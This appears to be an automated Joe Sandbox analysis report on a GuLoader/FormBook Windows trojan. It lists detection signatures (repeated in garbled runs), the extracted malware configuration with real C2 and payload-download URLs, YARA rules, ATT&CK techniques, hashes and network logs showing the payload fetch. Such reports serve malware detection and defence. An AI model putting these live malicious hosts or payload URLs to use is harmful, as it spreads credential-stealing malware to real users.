
ID: 448876
Sample Name:
ZGNX11JMSc.exe
Cookbook: default.jbs
Time: 20:00:45
Date: 14/07/2021
Version: 33.0.0 White Diamond
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Windows Analysis Report ZGNX11JMSc.exe

Overview

General Information

Sample 
Name:

ZGNX11JMSc.exe

Analysis ID: 448876

MD5: fcfb0ec70f1419e…

SHA1: d3b529d77f1de00…

SHA256: ff1b034c7060724…

Tags: 32 exe GuLoader trojan

Infos:

Most interesting Screenshot:

Detection

GuLoader FormBookGuLoader FormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

GuLoader behavior detected

GuLoader behavior detected

GuLoader behavior detected

GuLoader behavior detected

GuLoader behavior detected

GuLoader behavior detected

GuLoader behavior detectedGuLoader behavior detected

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic DropperYara detected Generic Dropper

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoaderYara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoaderYara detected GuLoader

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Contains functionality to detect hard

Contains functionality to detect hard

Contains functionality to detect hard

Contains functionality to detect hard

Contains functionality to detect hard

Contains functionality to detect hard

Contains functionality to detect hardContains functionality to detect hard……

Detected RDTSC dummy instruction

Detected RDTSC dummy instruction

Detected RDTSC dummy instruction

Detected RDTSC dummy instruction

Detected RDTSC dummy instruction

Detected RDTSC dummy instruction

Detected RDTSC dummy instructionDetected RDTSC dummy instruction……

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggersHides threads from debuggers

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.runTries to detect Any.run

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU UsageAbnormal high CPU Usage

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU Contains functionality to query CPU ……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

PE / OLE file has an invalid certificate

PE / OLE file has an invalid certificate

PE / OLE file has an invalid certificate

PE / OLE file has an invalid certificate

PE / OLE file has an invalid certificate

PE / OLE file has an invalid certificate

PE / OLE file has an invalid certificatePE / OLE file has an invalid certificate

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user ageUses a known web browser user age……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

ZGNX11JMSc.exe (PID: 3152 cmdline: 'C:\Users\user\Desktop\ZGNX11JMSc.exe'  MD5: FCFB0EC70F1419EDE8A534CC95CB61E9)

ZGNX11JMSc.exe (PID: 5880 cmdline: 'C:\Users\user\Desktop\ZGNX11JMSc.exe'  MD5: FCFB0EC70F1419EDE8A534CC95CB61E9)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.yellow-wink.com/nff/"

  ],

  "decoy": [

    "shinseikai.site",

    "creditmystartup.com",

    "howtovvbucks.com",

    "betterfromthebeginning.com",

    "oubacm.com",

    "stonalogov.com",

    "gentrypartyof8.com",

    "cuesticksandsupplies.com",

    "joelsavestheday.com",

    "llanobnb.com",

    "ecclogic.com",

    "miempaque.com",

    "cai23668.com",

    "miscdr.net",

    "twzhhq.com",

    "bloomandbrewcafe.com",

    "angcomleisure.com",

    "mafeeboutique.com",

    "300coin.club",

    "brooksranchhomes.com",

    "konversiondigital.com",

    "dominivision.com",

    "superiorshinedetailing.net",

    "thehomechef.global",

    "dating-web.site",

    "gcbsclubc.com",

    "mothererph.com",

    "pacleanfuel.com",

    "jerseryshorenflflagfootball.com",

    "roberthyatt.com",

    "wwwmacsports.com",

    "tearor.com",

    "american-ai.com",

    "mkyiyuan.com",

    "gempharmatechllc.com",

    "verdijvtc.com",

    "zimnik-bibo.one",

    "heatherdarkauthor.net",

    "dunn-labs.com",

    "automotivevita.com",

    "bersatubagaidulu.com",

    "gorillarecruiting.com",

    "mikecdmusic.com",

    "femuveewedre.com",

    "onyxmodsllc.com",

    "ooweesports.com",

    "dezeren.com",

    "foeweifgoor73dz.com",

    "sorchaashe.com",

    "jamiitulivu.com",

    "jifengshijie.com",

    "ranchfiberglas.com",

    "glendalesocialmediaagency.com",

    "icuvietnam.com",

    "404hapgood.com",

    "planetturmeric.com",

    "danfrem.com",

    "amazonautomationbusiness.com",

    "switchfinder.com",

    "diversifiedforest.com",

    "findnehomes.com",

    "rsyueda.com",

    "colombianmatrimony.com",

    "evan-dawson.info"

  ]

}

{

  "Payload URL": "http://ceattire.com/bin_UYDMbHwI28.bin"

}

Threatname: GuLoader

Yara Overview

Initial Sample

Copyright Joe Security LLC 2021 Page 5 of 17



Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

C2 URLs / IPs found in malware configuration

Source Rule Description Author Strings

ZGNX11JMSc.exe JoeSecurity_GuLoader_1 Yara detected 
GuLoader

Joe Security

Source Rule Description Author Strings

00000001.00000002.623756181.000000000224
0000.00000040.00000001.sdmp

JoeSecurity_GuLoader_2 Yara detected 
GuLoader

Joe Security

00000024.00000002.1042748926.00000000009
C0000.00000040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000024.00000002.1042748926.00000000009
C0000.00000040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 2
5 74 94
0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02
83 E3 0F C1 EA 06
0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

00000024.00000002.1042748926.00000000009
C0000.00000040.00000001.sdmp

Formbook detect Formbook 
in memory

JPCERT/CC 
Incident Response 
Group

0x183f9:$sqlite3step: 68 34 1C 7B E1
0x1850c:$sqlite3step: 68 34 1C 7B E1
0x18428:$sqlite3text: 68 38 2A 90 C5
0x1854d:$sqlite3text: 68 38 2A 90 C5
0x1843b:$sqlite3blob: 68 53 D8 7F 8C
0x18563:$sqlite3blob: 68 53 D8 7F 8C

00000024.00000002.1042381038.00000000000
60000.00000040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Click to see the 6 entries

Source Rule Description Author Strings

1.0.ZGNX11JMSc.exe.400000.0.unpack JoeSecurity_GuLoader_1 Yara detected 
GuLoader

Joe Security

36.0.ZGNX11JMSc.exe.400000.0.unpack JoeSecurity_GuLoader_1 Yara detected 
GuLoader

Joe Security

1.2.ZGNX11JMSc.exe.400000.0.unpack JoeSecurity_GuLoader_1 Yara detected 
GuLoader

Joe Security

Memory Dumps

Unpacked PEs
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E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

Yara detected GuLoader

Yara detected GuLoader

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Anti Debugging:

Hides threads from debuggers

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information:

GuLoader behavior detected

Yara detected FormBook

Yara detected Generic Dropper

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Network
Effects

Valid
Accounts

Windows
Management
Instrumentation

Path
Interception

Process
Injection 2 1 1

Rootkit 1 Credential
API
Hooking 1

Security Software
Discovery 6 2 1

Remote
Services

Credential
API
Hooking 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Virtualization/Sandbox
Evasion 2 1

LSASS
Memory

Virtualization/Sandbox
Evasion 2 1

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Copyright Joe Security LLC 2021 Page 7 of 17



Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Process
Injection 2 1 1

Security
Account
Manager

Process Discovery 1 SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-Application
Layer Protocol 2

Exploit SS7 to
Track Device
Location

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Deobfuscate/Decode
Files or Information 1

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application Layer
Protocol 1 1 2

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Obfuscated Files or
Information 2

LSA
Secrets

System Information
Discovery 3 1 1

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Network
Effects

Behavior Graph
ID: 448876

Sample: ZGNX11JMSc.exe

Startdate: 14/07/2021

Architecture: WINDOWS

Score: 100

www.stonalogov.com www.gentrypartyof8.com 6 other IPs or domains

Found malware configuration
Malicious sample detected
(through community Yara

rule)

Multi AV Scanner detection
for submitted file 8 other signatures

ZGNX11JMSc.exe

1

        started       

Contains functionality
to detect hardware virtualization
(CPUID execution measurement)

Detected RDTSC dummy
instruction sequence
(likely for instruction

hammering)

Tries to detect Any.run 2 other signatures

ZGNX11JMSc.exe

6

        started       

ceattire.com

185.211.56.131, 49752, 80

SERVERIR

Iran (ISLAMIC Republic Of)

Modifies the context
of a thread in another

process (thread injection)
Tries to detect Any.run Maps a DLL or memory

area into another process Hides threads from debuggers

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots
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Source Detection Scanner Label Link

ZGNX11JMSc.exe 21% Virustotal Browse

ZGNX11JMSc.exe 7% ReversingLabs Win32.Trojan.Vebzenpak

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Copyright Joe Security LLC 2021 Page 9 of 17
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 448876

Start date: 14.07.2021

Start time: 20:00:45

Joe Sandbox Product: CloudBasic

No Antivirus matches

No Antivirus matches

Source Detection Scanner Label Link

ceattire.com 0% Virustotal Browse

Source Detection Scanner Label Link

ceattire.com/bin_UYDMbHwI28.binI 0% Avira URL Cloud safe

ceattire.com/bin_UYDMbHwI28.bin 0% Avira URL Cloud safe

www.yellow-wink.com/nff/ 0% Avira URL Cloud safe

ceattire.com/bin_UYDMbHwI28.binK 0% Avira URL Cloud safe

ceattire.com/o 0% Avira URL Cloud safe

ceattire.com/ 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

www.dating-web.site 64.190.62.111 true false unknown

ceattire.com 185.211.56.131 true true 0%, Virustotal, Browse unknown

137gate.com 31.44.185.28 true false unknown

gentrypartyof8.com 66.235.200.146 true true unknown

www.gentrypartyof8.com unknown unknown true unknown

www.automotivevita.com unknown unknown true unknown

www.bloomandbrewcafe.com unknown unknown true unknown

www.stonalogov.com unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

ceattire.com/bin_UYDMbHwI28.bin true Avira URL Cloud: safe unknown

www.yellow-wink.com/nff/ true Avira URL Cloud: safe low

IP Domain Country Flag ASN ASN Name Malicious

185.211.56.131 ceattire.com Iran (ISLAMIC Republic Of) 39368 SERVERIR true

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Copyright Joe Security LLC 2021 Page 10 of 17

https://www.virustotal.com/gui/url/b4387e8278d29e68a5c5af1365ffd98f8d381ff418bd8f2cc59d0ee1b49b3971/detection/u-b4387e8278d29e68a5c5af1365ffd98f8d381ff418bd8f2cc59d0ee1b49b3971-1620035050
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Overall analysis duration: 0h 14m 12s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: ZGNX11JMSc.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Run name: Suspected Instruction Hammering Hide Perf

Number of analysed new started processes 
analysed:

43

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winEXE@3/0@6/1

EGA Information: Failed

HDC Information: Successful, ratio: 97.2% (good quality ratio 82.1%)
Quality average: 69.4%
Quality standard deviation: 35.1%

HCA Information: Failed

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

No simulations

No context

Match Associated Sample Name / URL SHA 256 Detection Link Context

137gate.com spices requirement.xlsx Get hash malicious Browse 31.44.185.28

Match Associated Sample Name / URL SHA 256 Detection Link Context

SERVERIR dqVPlpmWYt.exe Get hash malicious Browse 185.211.56.76

_RFQ_Hongjin_.xlsx Get hash malicious Browse 194.5.178.163

Ljn1KvO03H.exe Get hash malicious Browse 194.5.178.163

SWIFT Payment Advise 39 430-25.exe Get hash malicious Browse 194.5.178.163

Purchase Order SC_695853.xlsx Get hash malicious Browse 194.5.178.163

Required.exe Get hash malicious Browse 194.5.178.163

Zahlung-06.11.20.exe Get hash malicious Browse 185.211.57.58

Fax.doc Get hash malicious Browse 185.81.96.14

INV-40288731950.doc Get hash malicious Browse 185.81.96.5

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN
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https://view.joesandbox.com/analysis/339521/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339521/html/none?idtype=webid
https://view.joesandbox.com/analysis/342585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342585/html/none?idtype=webid
https://view.joesandbox.com/analysis/293253/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293253/html/none?idtype=webid
https://view.joesandbox.com/analysis/293066/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293066/html/none?idtype=webid
https://view.joesandbox.com/analysis/293059/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293059/html/none?idtype=webid
https://view.joesandbox.com/analysis/292991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292991/html/none?idtype=webid
https://view.joesandbox.com/analysis/292961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292961/html/none?idtype=webid
https://view.joesandbox.com/analysis/229836/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229836/html/none?idtype=webid
https://view.joesandbox.com/analysis/140402/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/140402/html/none?idtype=webid
https://view.joesandbox.com/analysis/124624/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124624/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 4.7769054763067915

TrID: Win32 Executable (generic) a (10002005/4) 
99.15%
Win32 Executable Microsoft Visual Basic 6 
(82127/2) 0.81%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: ZGNX11JMSc.exe

File size: 267376

MD5: fcfb0ec70f1419ede8a534cc95cb61e9

SHA1: d3b529d77f1de00d63a75b3956d4bcf6bbce30ca

SHA256: ff1b034c7060724133c6df0aa8cf5411ec0e6775d3aca83
a127617340a8c588a

SHA512: ffec36b157f889a2bd351b9d8423b247138a5fd2e57de83
bb1253336518431136a265d244b653af470a8d04e2674c
4cadf467c065a7fc38f10effedd705ab248

SSDEEP: 1536:x2M5j2eBXFScbssSe/W+dMa27qQ0Z9Dfs4IwNA
vgiIOm72tNHLg/8A:T5FXrbVTeE2uQU7s49AMUrg/8A

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.........y..........
...........................Rich............PE..L.....FR.................`......
....p........p....@................

File Icon

Icon Hash: e8ccce8e8ececce8

INV-40288731950.doc Get hash malicious Browse 185.81.96.5

profile113001.wellsfargo044514.com/?jg1xllmr6f Get hash malicious Browse 185.165.28.163

13140000.svchost.exe Get hash malicious Browse 192.36.148.17

cutwail.exe Get hash malicious Browse 192.36.148.17

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

No created / dropped files found

General
Entrypoint: 0x401470

Entrypoint Section: .text

Digitally signed: true

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, 
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static PE Info
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https://view.joesandbox.com/analysis/124623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124623/html/none?idtype=webid
https://view.joesandbox.com/analysis/124590/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/124590/html/none?idtype=webid
https://view.joesandbox.com/analysis/115448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/115448/html/none?idtype=webid
https://view.joesandbox.com/analysis/115446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/115446/html/none?idtype=webid


DLL Characteristics:

Time Stamp: 0x5246CAE2 [Sat Sep 28 12:26:10 2013 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: a6a8fddf213e725d12277ffa52409c50

General

Signature Valid: false

Signature Issuer: E=Overbee@NONASSUM.DRA, CN=skrdd, OU=UNDE, O=prototypi, L=Nyordn5, S=sobs, 
C=MG

Signature Validation Error: A certificate chain processed, but terminated in a root certificate which is not trusted 
by the trust provider

Error Number: -2146762487

Not Before, Not After 7/13/2021 10:05:37 AM 7/13/2022 10:05:37 AM

Subject Chain E=Overbee@NONASSUM.DRA, CN=skrdd, OU=UNDE, O=prototypi, L=Nyordn5, 
S=sobs, C=MG

Version: 3

Thumbprint MD5: 9036914828CBB0BD5603E92A0629EBCE

Thumbprint SHA-1: 502D44A3683EF19D6EE93B5A0BA39CEF214FA587

Thumbprint SHA-256: D8DC1D893CD8ACCF7B4CB8910AC7F2C4539AB530AD74E93F825CCDA9E5C58408

Serial: 00

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x35930 0x36000 False 0.255479600694 data 4.71656794382 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.data 0x37000 0xbd4 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x38000 0x7a92 0x8000 False 0.294891357422 data 4.41054714474 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Language of compilation system Country where language is spoken Map

Swahili Kenya

Swahili Mozambiq

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin
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Network Port Distribution

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 14, 2021 20:08:58.467015982 CEST 192.168.2.3 8.8.8.8 0x81b8 Standard query 
(0)

ceattire.com A (IP address) IN (0x0001)

Jul 14, 2021 20:09:37.891772032 CEST 192.168.2.3 8.8.8.8 0x42de Standard query 
(0)

www.dating-
web.site

A (IP address) IN (0x0001)

Jul 14, 2021 20:09:58.241312027 CEST 192.168.2.3 8.8.8.8 0x47ab Standard query 
(0)

www.stonal
ogov.com

A (IP address) IN (0x0001)

Jul 14, 2021 20:10:19.070988894 CEST 192.168.2.3 8.8.8.8 0xead2 Standard query 
(0)

www.gentry
partyof8.com

A (IP address) IN (0x0001)

Jul 14, 2021 20:10:40.040930033 CEST 192.168.2.3 8.8.8.8 0xdcf9 Standard query 
(0)

www.blooma
ndbrewcafe.com

A (IP address) IN (0x0001)

Jul 14, 2021 20:11:03.246819019 CEST 192.168.2.3 8.8.8.8 0x7b7a Standard query 
(0)

www.automo
tivevita.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 14, 2021 
20:07:23.232844114 
CEST

8.8.8.8 192.168.2.3 0x3a13 No error (0) prda.aadg.
msidentity.com

www.tm.a.prd.aadg.akadn
s.net

CNAME 
(Canonical 
name)

IN (0x0001)

Jul 14, 2021 
20:08:58.614542007 
CEST

8.8.8.8 192.168.2.3 0x81b8 No error (0) ceattire.com 185.211.56.131 A (IP address) IN (0x0001)

Jul 14, 2021 
20:09:37.949995041 
CEST

8.8.8.8 192.168.2.3 0x42de No error (0) www.dating-
web.site

64.190.62.111 A (IP address) IN (0x0001)

Jul 14, 2021 
20:09:56.246475935 
CEST

8.8.8.8 192.168.2.3 0x9c75 No error (0) prda.aadg.
msidentity.com

www.tm.a.prd.aadg.akadn
s.net

CNAME 
(Canonical 
name)

IN (0x0001)

Jul 14, 2021 
20:09:58.317758083 
CEST

8.8.8.8 192.168.2.3 0x47ab Name error (3) www.stonal
ogov.com

none none A (IP address) IN (0x0001)

Jul 14, 2021 
20:10:19.199385881 
CEST

8.8.8.8 192.168.2.3 0xead2 No error (0) www.gentry
partyof8.com

gentrypartyof8.com CNAME 
(Canonical 
name)

IN (0x0001)

Jul 14, 2021 
20:10:19.199385881 
CEST

8.8.8.8 192.168.2.3 0xead2 No error (0) gentrypart
yof8.com

66.235.200.146 A (IP address) IN (0x0001)

Jul 14, 2021 
20:10:40.198004961 
CEST

8.8.8.8 192.168.2.3 0xdcf9 No error (0) www.blooma
ndbrewcafe.com

137gate.com CNAME 
(Canonical 
name)

IN (0x0001)

Jul 14, 2021 
20:10:40.198004961 
CEST

8.8.8.8 192.168.2.3 0xdcf9 No error (0) 137gate.com 31.44.185.28 A (IP address) IN (0x0001)

Jul 14, 2021 
20:11:03.429352045 
CEST

8.8.8.8 192.168.2.3 0x7b7a Server failure 
(2)

www.automo
tivevita.com

none none A (IP address) IN (0x0001)

            
ceattire.com

         

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets
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Code Manipulations

Statistics

Behavior

Click to jump to process

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.3 49752 185.211.56.131 80 C:\Users\user\Desktop\ZGNX11JMSc.exe

Timestamp
kBytes
transferred Direction Data

Jul 14, 2021 
20:08:59.924114943 CEST

6599 OUT GET /bin_UYDMbHwI28.bin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: ceattire.com
Cache-Control: no-cache

Jul 14, 2021 
20:09:00.014100075 CEST

6601 IN HTTP/1.1 200 OK
Date: Wed, 14 Jul 2021 18:05:23 GMT
Server: Apache/2
Last-Modified: Tue, 13 Jul 2021 16:59:16 GMT
ETag: "2d640-5c704287dec39"
